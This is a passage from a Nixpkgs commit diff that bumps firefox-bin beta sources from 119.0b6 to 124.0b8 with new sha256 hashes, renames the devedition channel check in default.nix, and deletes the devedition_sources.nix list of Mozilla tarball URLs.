"https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/pt-PT/firefox-124.0b8.tar.bz2"; locale = "pt-PT"; arch = "linux-i686"; - sha256 = "20096e9c5a2077dbbc5b052674d66ff939e93d8199021e96c938b3f73801472e"; + sha256 = "93a2ba4c8564c89e28c3d29ca00caa04cd13cc6947c59aab21c9e3c91eeec5d7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/rm/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/rm/firefox-124.0b8.tar.bz2"; locale = "rm"; arch = "linux-i686"; - sha256 = "48b6d128c360f00a3d154787f627e9c4a96266d6d08c0124ddbd151eecdd2912"; + sha256 = "90b9bd0d35cd91e6dcfa24f661d7ae40a3405604e3c696ab91b516cb159eefa1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ro/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ro/firefox-124.0b8.tar.bz2"; locale = "ro"; arch = "linux-i686"; - sha256 = "afd4032aae64239ff0193db56ed29f2aa3c380f6bd1c685d844cf87f8ac5316c"; + sha256 = "741b586436d5c5b85f86041ff0a17aa734a9d81ca1dfa566fc69060c4efb6c7d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ru/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ru/firefox-124.0b8.tar.bz2"; locale = "ru"; arch = "linux-i686"; - sha256 = "a6d9849dbe33cf1844243be4008d7db49fd238e4b8e1355eaf212ba5d0c210ae"; + sha256 = "bb9165219242a8039761656a039fff273515f8a2e0b0444ce047b4722fa1c589"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sat/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sat/firefox-124.0b8.tar.bz2"; locale = "sat"; arch = "linux-i686"; - sha256 = "78e73098d936fa2cd0d0239b31c12666a0a00bbb484561807c4f7533a3d37f3c"; + sha256 = "54d2506e1384a5f3ca0611f31f0f0645c8c73875ec663c40fd672931e2851cdf"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sc/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sc/firefox-124.0b8.tar.bz2"; locale = "sc"; arch = "linux-i686"; - sha256 = "6133c94129820c7a7753de9565ea7855efac8702a1638173364d27ea655c162b"; + sha256 = "f53434a7c0f15105129a76a82dfee2b585d49aae58458a09364118c9e7cad2da"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sco/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sco/firefox-124.0b8.tar.bz2"; locale = "sco"; arch = "linux-i686"; - sha256 = "509d0894a6629ea6aeb2af56f96b5dd0a4fef5457dfbed1301580cb0c7dc2dfc"; + sha256 = "ca58ff487ce497f8b8c8ec590ac5592d30a47b3a3da2bd03b273b0ac1e94b389"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/si/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/si/firefox-124.0b8.tar.bz2"; locale = "si"; arch = "linux-i686"; - sha256 = "6d0b0a6df565b0170b6356307b9300c71aa298e34b3057bd4ebdb2a49f9e716f"; + sha256 = "623710ebf2caea98662b64816498f9e79dd65251a6466d5a54ee35eac763d8a8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sk/firefox-124.0b8.tar.bz2"; locale = "sk"; arch = "linux-i686"; - sha256 = "368d7425c03cea42cb630e4dd3e08e57dda51c6d09a14d02fa7a51817282fe5c"; + sha256 = "0858782eb73df79ef09dee6b3ee2d4f59d348f134b0b1049d03b3b9981126074"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sl/firefox-124.0b8.tar.bz2"; locale = "sl"; arch = "linux-i686"; - sha256 = "4d663f89fde091267522c37ccc3e69e0246367c865a756e9078fae01a52c0f4a"; + sha256 = "abc3a5d76ae7034995291722aa8841a441d6bbe23ec2bb04967e829eb0d21bb7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/son/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/son/firefox-124.0b8.tar.bz2"; locale = "son"; arch = "linux-i686"; - sha256 = "578a4c59edbfb30f0f070026d76bd741ef1af60e4ba09d799a604a8bb770554d"; + sha256 = "4ea467ca12a5fd58c79c95ba545b236ed45adaa78ee3d4c57cc91e79b77814a9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sq/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sq/firefox-124.0b8.tar.bz2"; locale = "sq"; arch = "linux-i686"; - sha256 = "6640bc3563f04badbaf6102fa34b6f92caf8a82c3a6a0261e8dcc10212dd6198"; + sha256 = "a3904e0c003adbfa70b53c5cb320c146fe2338fe5f39aa1f577befcfbe4e56ba"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sr/firefox-124.0b8.tar.bz2"; locale = "sr"; arch = "linux-i686"; - sha256 = "9aa22e50e4c7f49512572271252b4a9fb0631c0dcf4ebd86eeadd1c3c768e0b7"; + sha256 = "6d5e3b1f6c31ff77605dd9ea840e91e8378079ce7b396b7b2d76dea21686847b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/sv-SE/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/sv-SE/firefox-124.0b8.tar.bz2"; locale = "sv-SE"; arch = "linux-i686"; - sha256 = "9aafb4a1665481eb4da39857b002e92d98501e0020c592d0870ea6d2b913832f"; + sha256 = "fcdad045574044659d42fff2c1dc13788a2fa95c53affbc6f0f01a8fbb7779c3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/szl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/szl/firefox-124.0b8.tar.bz2"; locale = "szl"; arch = "linux-i686"; - sha256 = "c4667804c8e5f3f803f1c06618aa25e1cb0ffacb0662eba71f163505aa5d921e"; + sha256 = "c122a3a55de5d421f9b43025c0c6e7df8937b785a3646881d58d649f5b1df4c2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ta/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ta/firefox-124.0b8.tar.bz2"; locale = "ta"; arch = "linux-i686"; - sha256 = "ed4744875be84e379a3300789ee1b3f3e0cbfc0dfc4149e0b122a0c96e932e17"; + sha256 = "a479a71aace75ba50794fcccab989a8a9696611a56bcd228ada53e4c278b8c37"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/te/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/te/firefox-124.0b8.tar.bz2"; locale = "te"; arch = "linux-i686"; - sha256 = "3eb90abe5fc026f43a2d262c2396d11c40d64cb2688c8ad311c7e2c8a576254d"; + sha256 = "3ab19708939b6471759e6f1209d933d3a3c8770e25ee7117f10ca0d4aaae6886"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/tg/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/tg/firefox-124.0b8.tar.bz2"; locale = "tg"; arch = "linux-i686"; - sha256 = "07b616e1debafbe9962dd54442da33ee5ec95739568db7dc529fd5ec7aa94c78"; + sha256 = "1c7d028c6460a7b15c3fbb7f69f0e4af8234db574b92bf2342416646941d0d0d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/th/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/th/firefox-124.0b8.tar.bz2"; locale = "th"; arch = "linux-i686"; - sha256 = "1fc3d9d2eadf9613c275dec758f601df716fe84faad79b7d1a3217c4fabce1d4"; + sha256 = "fd9a4491c3174f968347f98d77406518f7f2ef87a82915393e7e6d02f067a5c7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/tl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/tl/firefox-124.0b8.tar.bz2"; locale = "tl"; arch = "linux-i686"; - sha256 = "357092ab4ce7d275d158fdbc9fb5695b1570cccd5f6a8d39e6cf188fe30fb645"; + sha256 = "bb8cc15e3691d3064d50b5770d467219d93f625c71174a33e17a38a8f4cdde2b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/tr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/tr/firefox-124.0b8.tar.bz2"; locale = "tr"; arch = "linux-i686"; - sha256 = "10e6f7a5543dce902b570a6fe5b9411d8e1755aed3990dc8dee382348532422b"; + sha256 = "a5d02b487e0247c090f44eee79f6e142c7890bea6c1f9848412997e40ab48fbe"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/trs/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/trs/firefox-124.0b8.tar.bz2"; locale = "trs"; arch = "linux-i686"; - sha256 = "fca774899d7abbd453ab32193626ae6f4143c26bf031e506b9a90413ede1f062"; + sha256 = "25f4ff67fdc4be664a5b4e65a5214b7124a27725204dd93acfd24d77c70e95d6"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/uk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/uk/firefox-124.0b8.tar.bz2"; locale = "uk"; arch = "linux-i686"; - sha256 = "c5144d3a09aa4e281ac0a0ef1ba4e35375e48aa77a6aa8db3fe25b6fbefb7cf5"; + sha256 = "e688945fc510418bf69321b8168bb537b76cc8a2798b19946f8d969e13151d27"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ur/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ur/firefox-124.0b8.tar.bz2"; locale = "ur"; arch = "linux-i686"; - sha256 = "687b8cb4ed66699a590be38ceaeb8a2c5b802cfad8430ae3db98ab0ddbdb7957"; + sha256 = "1f01f0459e671fa083b71c96355c60aa3fa30b79116597f8ad6dfa3ab9661ba9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/uz/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/uz/firefox-124.0b8.tar.bz2"; locale = "uz"; arch = "linux-i686"; - sha256 = "563674323dfd4b333ba695def45413a1d322fe6c3425029e73999380ef8987ae"; + sha256 = "95174084f39d37d9ca11cc2c62485f0c7b0e74cc1aecdd46e3a9958f6fd121ca"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/vi/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/vi/firefox-124.0b8.tar.bz2"; locale = "vi"; arch = "linux-i686"; - sha256 = "4c76121ee4245094f417a70d09add493bfbc8a3020401f26d69638627868d473"; + sha256 = "391a0e484adc0d004c3f1e1409876ff13ed6bab6ff05b686dcdc6a2ecb929886"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/xh/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/xh/firefox-124.0b8.tar.bz2"; locale = "xh"; arch = "linux-i686"; - sha256 = "8f7ea99e9587dd8801abf22892fdfd38f4446a8339460b8bb4103d2854c8b00d"; + sha256 = "70bbe9ae5637b874f928fc3b85dc1326aa6e7ee4e66a2a5067934f029a6ca8aa"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/zh-CN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/zh-CN/firefox-124.0b8.tar.bz2"; locale = "zh-CN"; arch = "linux-i686"; - sha256 = "03bef56655f52b9c40d3ed29052dca62ae83f2668ef860aa745abe3f7d1a4c7c"; + sha256 = "df1bacb4df2b14b7e43bb36e9acef401112957b49a86c4e7ed43c1d25f054da1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/zh-TW/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/zh-TW/firefox-124.0b8.tar.bz2"; locale = "zh-TW"; arch = "linux-i686"; - sha256 = "456d5311fe2a21bbac3bd20f3105635bf468aea86c014bf4fc33508b9faa8298"; + sha256 = "d32db2c273ef9e674c8746a1bed7a8d3d7d99b1d717d714b5346c66c3ba42f87"; } ]; } diff --git a/pkgs/applications/networking/browsers/firefox-bin/default.nix b/pkgs/applications/networking/browsers/firefox-bin/default.nix index 56d21187ebb2e..44b63cab7dbbe 100644 --- a/pkgs/applications/networking/browsers/firefox-bin/default.nix +++ b/pkgs/applications/networking/browsers/firefox-bin/default.nix @@ -108,7 +108,7 @@ stdenv.mkDerivation { updateScript = import ./update.nix { inherit pname channel lib writeScript xidel coreutils gnused gnugrep gnupg curl runtimeShell; baseUrl = - if channel == "devedition" + if channel == "developer-edition" then "https://archive.mozilla.org/pub/devedition/releases/" else "https://archive.mozilla.org/pub/firefox/releases/"; }; diff --git a/pkgs/applications/networking/browsers/firefox-bin/devedition_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/devedition_sources.nix deleted file mode 100644 index bc59c44618ac4..0000000000000 --- a/pkgs/applications/networking/browsers/firefox-bin/devedition_sources.nix +++ /dev/null @@ -1,1015 +0,0 @@ -{ - version = "118.0b9"; - sources = [ - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ach/firefox-118.0b9.tar.bz2"; - locale = "ach"; - arch = "linux-x86_64"; - sha256 = "5acd7d6ddf79c3d6399c9e59a9dbe47e9aa23d6071528ea2ca9bfa3b836518a0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/af/firefox-118.0b9.tar.bz2"; - locale = "af"; - arch = "linux-x86_64"; - sha256 = "dfb8567a0b2376d25c84f640fe2d54afccb35c681f4b03b9b2c265a1b3726247"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/an/firefox-118.0b9.tar.bz2"; - locale = "an"; - arch = "linux-x86_64"; - sha256 = "ca3a0f0ef0920f911d71a8c91897b59d6056ad3979d1674e01f8d7efe078a54d"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ar/firefox-118.0b9.tar.bz2"; - locale = "ar"; - arch = "linux-x86_64"; - sha256 = "d42b9d642e9f62fac2c5c608851ee012260770d3a120b73501c76f5a8ae8e879"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ast/firefox-118.0b9.tar.bz2"; - locale = "ast"; - arch = "linux-x86_64"; - sha256 = "cbde843e9fa68df97d67d8f2fa30a32b1acfd1cf2d721ef9279a094aa4d67fb2"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/az/firefox-118.0b9.tar.bz2"; - locale = "az"; - arch = "linux-x86_64"; - sha256 = "0f4a8343202eaf372d053453654afd399b85fe670935bc700fa344ccfebeaee4"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/be/firefox-118.0b9.tar.bz2"; - locale = "be"; - arch = "linux-x86_64"; - sha256 = "ae6a0e66076aebdfddcfc3d2c4defcc2d681fbd69b54c024d5677ecf5e24b6a0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/bg/firefox-118.0b9.tar.bz2"; - locale = "bg"; - arch = "linux-x86_64"; - sha256 = "10fad3cb1a614deaf6169d6ea1574010172e73037c36e5caa19ccad41d347164"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/bn/firefox-118.0b9.tar.bz2"; - locale = "bn"; - arch = "linux-x86_64"; - sha256 = "313ca09b833065db9bcfa270fae044af1961fb8c777d54a0f6fc0d5908c4703a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/br/firefox-118.0b9.tar.bz2"; - locale = "br"; - arch = "linux-x86_64"; - sha256 = "98be142d1b61a37cfc6d2d47fc8ecadb128b7b464c3c62a4a76b372260c7aec6"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/bs/firefox-118.0b9.tar.bz2"; - locale = "bs"; - arch = "linux-x86_64"; - sha256 = "622ed1af0985ef2ebc4c9cf897a0157b9c933e55f46313b44ca976b156479a6f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ca-valencia/firefox-118.0b9.tar.bz2"; - locale = "ca-valencia"; - arch = "linux-x86_64"; - sha256 = "f07b40f3ed624eecdeb45b79e9a52dc4204d5fec713001a4b33259ba77b61908"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ca/firefox-118.0b9.tar.bz2"; - locale = "ca"; - arch = "linux-x86_64"; - sha256 = "90d11280471491175188b4244634d3a604057c6bddbf047917b3a374c97c4053"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/cak/firefox-118.0b9.tar.bz2"; - locale = "cak"; - arch = "linux-x86_64"; - sha256 = "94e9141892331ac3f9fcec1264be65661ceae6234635aa9bb44b4b97be8efb3e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/cs/firefox-118.0b9.tar.bz2"; - locale = "cs"; - arch = "linux-x86_64"; - sha256 = "b1a976da8655601bc98f1bf33fb8731cf7ae1db6ab068beadaa741e896b3e0b3"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/cy/firefox-118.0b9.tar.bz2"; - locale = "cy"; - arch = "linux-x86_64"; - sha256 = "3dec7296441f4154db622bf3cf3c3af45b6cef1aa4db454c18b76474d4c46475"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/da/firefox-118.0b9.tar.bz2"; - locale = "da"; - arch = "linux-x86_64"; - sha256 = "1b9d4d7f38e7edbbbf165d5f07c826793834c57b098980bae018614503a4d10f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/de/firefox-118.0b9.tar.bz2"; - locale = "de"; - arch = "linux-x86_64"; - sha256 = "23790fde6591ed8da815d343cdaa2d220d7b764d53de29cf64ca379d3569668a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/dsb/firefox-118.0b9.tar.bz2"; - locale = "dsb"; - arch = "linux-x86_64"; - sha256 = "7d2b8f361397d64d6daf41e8e62d9527fa8fcfe089a3d67d0c2cb8f20aab2d0b"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/el/firefox-118.0b9.tar.bz2"; - locale = "el"; - arch = "linux-x86_64"; - sha256 = "7abb4568eb97c2a18e1dbee9854494bf77d2ca8c3d657803304a36da50b1b533"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/en-CA/firefox-118.0b9.tar.bz2"; - locale = "en-CA"; - arch = "linux-x86_64"; - sha256 = "3fdee20918067d944825c465744fdf2138770a2fb8943c13c3ced16b1f682adc"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/en-GB/firefox-118.0b9.tar.bz2"; - locale = "en-GB"; - arch = "linux-x86_64"; - sha256 = "12001f0d7bb53972b731bf1915bb5c0adcfd173fdddfb3d1a95024bc083f8f25"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/en-US/firefox-118.0b9.tar.bz2"; - locale = "en-US"; - arch = "linux-x86_64"; - sha256 = "efab41ad6173533258aebc346f8c08e380603c2e9be139ccf3ac0c9e36c64f18"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/eo/firefox-118.0b9.tar.bz2"; - locale = "eo"; - arch = "linux-x86_64"; - sha256 = "9440354ab7ff9c8f6d597667f9826a6ebf14e2ee05fc442844692727e343d6c3"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/es-AR/firefox-118.0b9.tar.bz2"; - locale = "es-AR"; - arch = "linux-x86_64"; - sha256 = "2e879fe58cf49cb2705f7fe422fb1d220afd485dd2a71a4ea5a142f0190abeec"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/es-CL/firefox-118.0b9.tar.bz2"; - locale = "es-CL"; - arch = "linux-x86_64"; - sha256 = "6b6d5f82c141828eddf1cef087efd08945adbcf43be9ce5bfff6fc9c309b4b7f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/es-ES/firefox-118.0b9.tar.bz2"; - locale = "es-ES"; - arch = "linux-x86_64"; - sha256 = "a7105ef1a00786ba489707481c59dea1e7f6f4b9692de03e9d04298e5d189a0e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/es-MX/firefox-118.0b9.tar.bz2"; - locale = "es-MX"; - arch = "linux-x86_64"; - sha256 = "d5087e0339ef052e81b13835c4fd2a151f9ff45ba917083f137b5ca62c356a3c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/et/firefox-118.0b9.tar.bz2"; - locale = "et"; - arch = "linux-x86_64"; - sha256 = "3b364c886030729b2c52befc0377abcdd0069825d3c26a73d16ac0672ca5e0cf"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/eu/firefox-118.0b9.tar.bz2"; - locale = "eu"; - arch = "linux-x86_64"; - sha256 = "28a7c3f7211c260c76e8b4c473c9a9eaafa2beaa480d26cb1e31e6a888a3d092"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/fa/firefox-118.0b9.tar.bz2"; - locale = "fa"; - arch = "linux-x86_64"; - sha256 = "0b2fdea90167e8a44659a6f9a69ab467e4256c203b2ddb7fc736c3d62ccb544a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ff/firefox-118.0b9.tar.bz2"; - locale = "ff"; - arch = "linux-x86_64"; - sha256 = "0e9b071e8d0ba7a741f9d7b2b3e1bb9c805f305eb29524a67f840c12835baacb"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/fi/firefox-118.0b9.tar.bz2"; - locale = "fi"; - arch = "linux-x86_64"; - sha256 = "e5fe1ef5c106d12624b2998c64144449cd49cd81c32b6a63d8941723f9245f97"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/fr/firefox-118.0b9.tar.bz2"; - locale = "fr"; - arch = "linux-x86_64"; - sha256 = "ea89e51f4fe8feb7cc8a3ad64a8690af93621798463c4c019c689daf45d36789"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/fur/firefox-118.0b9.tar.bz2"; - locale = "fur"; - arch = "linux-x86_64"; - sha256 = "e5f3f105bafd410c2d2153012c593f6150518927e960e680b6991af92bfb548c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/fy-NL/firefox-118.0b9.tar.bz2"; - locale = "fy-NL"; - arch = "linux-x86_64"; - sha256 = "38e335c7fdfa89768ba321edda2bd154811f292e8e95d9138618de6f166e751a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ga-IE/firefox-118.0b9.tar.bz2"; - locale = "ga-IE"; - arch = "linux-x86_64"; - sha256 = "0d3c32a94982bdb7989005a3245ca7afa7a5f96336474b5dd4af707ca11382f9"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/gd/firefox-118.0b9.tar.bz2"; - locale = "gd"; - arch = "linux-x86_64"; - sha256 = "1e702f7f0feb04443ed2ee5b4b17c406546e1592ba51fa632a2ddc7171cb8306"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/gl/firefox-118.0b9.tar.bz2"; - locale = "gl"; - arch = "linux-x86_64"; - sha256 = "2b37d2e8106072c709030c12652a0293dc26d058e4c761644dceeab9100ab37a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/gn/firefox-118.0b9.tar.bz2"; - locale = "gn"; - arch = "linux-x86_64"; - sha256 = "e8d83f36e7a5ad7aa452078bb8b289ece91057567ed90ae70de27f0cd8bebc68"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/gu-IN/firefox-118.0b9.tar.bz2"; - locale = "gu-IN"; - arch = "linux-x86_64"; - sha256 = "c515ab07a28ea34ba177b2c71f1890db8116c6ffbda2a08a9ddcd7b3c6a93871"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/he/firefox-118.0b9.tar.bz2"; - locale = "he"; - arch = "linux-x86_64"; - sha256 = "ed38173b1d7493de3810972349f1e576f80495d91a552d94febe6febdbb6945c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/hi-IN/firefox-118.0b9.tar.bz2"; - locale = "hi-IN"; - arch = "linux-x86_64"; - sha256 = "f7f3c1fc855276817673771c30df8f1f175be7f18c1de0c51158b87dd9620734"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/hr/firefox-118.0b9.tar.bz2"; - locale = "hr"; - arch = "linux-x86_64"; - sha256 = "3aeb4da195c933afd2f0ea0f60050d8f4f84f4f50261ac894e4e8eb7eaae93d8"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/hsb/firefox-118.0b9.tar.bz2"; - locale = "hsb"; - arch = "linux-x86_64"; - sha256 = "ae0be38cf74813b6d1d5339712e05582441956934fafcca452a0016920f43a38"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/hu/firefox-118.0b9.tar.bz2"; - locale = "hu"; - arch = "linux-x86_64"; - sha256 = "5b9223dbc3490ac458898d3305a0064ff5aa9015c7fa828596a4a81b7ca67fe3"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/hy-AM/firefox-118.0b9.tar.bz2"; - locale = "hy-AM"; - arch = "linux-x86_64"; - sha256 = "a20abd777fee3aa4b5866d9246dea27015dca40f56e7722c833275eab61971d1"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ia/firefox-118.0b9.tar.bz2"; - locale = "ia"; - arch = "linux-x86_64"; - sha256 = "8f001a2f83b93850af4f05ce5b5aef4561ab0e9c64a2e1b4f767a898ad514279"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/id/firefox-118.0b9.tar.bz2"; - locale = "id"; - arch = "linux-x86_64"; - sha256 = "5373f02b1bdb82d2adb70bf8ae83dbd847446b381d79f2398d4997b2871cf2bf"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/is/firefox-118.0b9.tar.bz2"; - locale = "is"; - arch = "linux-x86_64"; - sha256 = "abf81429df6142b154d43ec5738cce2e37e6d2d7c5400abd608035ca79730220"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/it/firefox-118.0b9.tar.bz2"; - locale = "it"; - arch = "linux-x86_64"; - sha256 = "15073bf85562036f526ad6c1aa63ce113b9f2de27745020f255fb825706aeb0b"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ja/firefox-118.0b9.tar.bz2"; - locale = "ja"; - arch = "linux-x86_64"; - sha256 = "7a556d1d55c06a91fdaeee5af51e8907edf891020c66c5d31484a8e450cbed5c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ka/firefox-118.0b9.tar.bz2"; - locale = "ka"; - arch = "linux-x86_64"; - sha256 = "0f5528182492b1f256a39bb2aea38502e37c61c25719534499d8b81143287356"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/kab/firefox-118.0b9.tar.bz2"; - locale = "kab"; - arch = "linux-x86_64"; - sha256 = "6b51e8cf3a5781802bac7c66d9091b84c538de040e5a658ffe0f2b8bb1e9659a"; - } - { url = 